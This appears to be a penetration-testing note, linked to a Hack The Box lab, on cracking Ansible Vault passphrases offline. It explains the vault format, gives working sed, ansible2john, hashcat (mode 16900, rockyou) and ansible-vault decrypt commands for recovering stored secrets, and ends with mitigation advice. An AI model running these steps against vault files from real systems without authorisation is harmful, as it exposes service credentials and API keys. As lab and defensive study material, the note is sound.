🧠 Ansible Vault Cracking

What is it?

  • Concept: Ansible Vault encrypts sensitive strings inside playbooks/roles (!vault | YAML blocks, or entire vault files) with AES256 under a key derived from a single passphrase via PBKDF2. If a vault-protected file or string ends up somewhere readable (a misconfigured file share, a backup archive, a git repo that shouldn’t have been public), the passphrase itself is just another crackable hash — and unlike a per-account password, cracking it once decrypts every secret protected under that same passphrase.
  • Impact: Full recovery of every credential an Ansible playbook was configured to manage — service account passwords, application admin credentials, API keys — directly from automation files that were never meant to be readable outside the deployment pipeline.

How it works

  1. The Ansible Vault format self-identifies with a $ANSIBLE_VAULT;1.1;AES256 header followed by hex-encoded salt, HMAC, and ciphertext.
  2. ansible2john.py (bundled with John the Ripper) parses that into a crackable hash format understood by both John and Hashcat.
  3. Crack it offline like any other hash — a wordlist attack is usually enough, since these passphrases are chosen by a human for convenience during automation setup, not generated.
  4. Once cracked, the same passphrase decrypts every vault-protected string found anywhere in that playbook/role tree — feed it back through ansible-vault decrypt/view to recover the actual plaintext secrets.

Exploitation

Prerequisites

  • Read access to one or more Ansible Vault-encrypted files or !vault | strings (commonly found on file shares, in backup archives, or in exposed git history)

Attack Vectors

# Strip leading YAML indentation from an inline !vault | block before treating
# it as a standalone vault file
sed -i 's/^[ \t]*//' vault1
 
python3 /usr/share/john/ansible2john.py vault1 > vault1.hash
hashcat -m 16900 vault1.hash /usr/share/wordlists/rockyou.txt
# Once cracked, decrypt every vault-protected value with the recovered passphrase
ansible-vault decrypt vault1
# non-interactively, with the passphrase piped in instead of typed:
ansible-vault view vault1 --vault-password-file <(echo '<cracked_password>')

Notes

  • Every vault block encrypted under the same passphrase cracks together in a single Hashcat run (one hash per line, same mode) — batch every vault string found in a playbook tree instead of cracking them one at a time.
  • Ansible directories are a goldmine beyond the vault blocks themselves — inventory files, ansible.cfg, and task/template files routinely contain plaintext credentials the author never got around to vaulting at all, sitting right next to the ones that were.

Mitigation

  • Fix: Never store Ansible Vault files or strings somewhere a lower-privileged principal can read them — vault encryption protects against casual disclosure, not against an attacker who already has file access. Rotate any credential that was ever protected by a vault passphrase of uncertain strength, since offline cracking of a weak passphrase is undetectable until it’s too late.
FileCreated
HTB - AuthorityJuly 23, 2026

References: